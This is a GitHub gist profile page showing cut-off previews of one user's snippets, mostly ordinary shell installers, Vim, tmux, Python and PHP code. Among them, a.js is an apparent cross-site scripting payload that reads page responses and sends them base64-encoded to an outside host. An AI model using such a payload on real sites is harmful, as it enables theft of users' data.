Skip to content

Instantly share code, notes, and snippets.

Enrico Bacis enricobacis

Block or report user

Report or block enricobacis

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
echo "[*] Downloading fisherman ...";
test -z "$XDG_CONFIG_HOME"; and set XDG_CONFIG_HOME ~/.config;
curl -sfLo $XDG_CONFIG_HOME/fish/functions/ --create-dirs; and fish -c "fisher"; and exec fish;
# leave the semicolons at the end of the lines, they are needed by eval
View test_timers.vim
let g:val = 0
function! MyHandler(timer)
let g:val += 1
let timer = timer_start(50, 'MyHandler', {'repeat': -1})
sleep 10000m
call timer_stop(timer)
enricobacis /
Last active Nov 16, 2019
openstack installation on CentOS 7
read -p "Enter your external interface: " EXT_INTER
# do not edit after this line
set -x # enable echo
sudo yum install -y epel-release
sudo yum install -y vim git tmux bash-completion net-tools htop psmisc
View ltmux
if tmux has-session -t $WHOAMI 2>/dev/null; then
tmux -2 attach-session -t $WHOAMI
tmux -2 new-session -s $WHOAMI
enricobacis /
Created Jan 4, 2017
command-line-printing in Unix/OSX


to print the file filename.pdf using the default printer:

lpr filename.pdf

you can also specify the printer name using -P printername:

lpr -P printername filename.pdf
enricobacis /
Created Nov 30, 2016
Overwrite python's logging.error to log also args
from functools import wraps
import logging
import inspect
# save the old logging.error function
__logging_error = logging.error
def error(msg, *args, **kwargs):
__logging_error(msg, *args, **kwargs)
View a.js
var y=document.domain="";
var r=new XMLHttpRequest();
var x=new XMLHttpRequest();"GET","//" + btoa(r.responseText));
View apc.php
| APC |
| Copyright (c) 2006-2011 The PHP Group |
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
echo "[Downloading fundle ...]"
mkdir -p ~/.config/fish/functions
curl --fail --progress-bar --location > ~/.config/fish/functions/ \
&& fish -c "fundle install" \
&& exec fish
enricobacis / CreateUpdate.php
Last active Sep 9, 2015
NethServer NetworkPackageManager
View CreateUpdate.php
/* /usr/share/nethesis/NethServer/Template/NetworkPackageManager/CreateUpdate.php */
if ($view->getModule()->getIdentifier() == 'update') {
$headerText = 'Update a package `${0}`';
} else {
$headerText = 'Create a new package';
echo $view->panel()
You can’t perform that action at this time.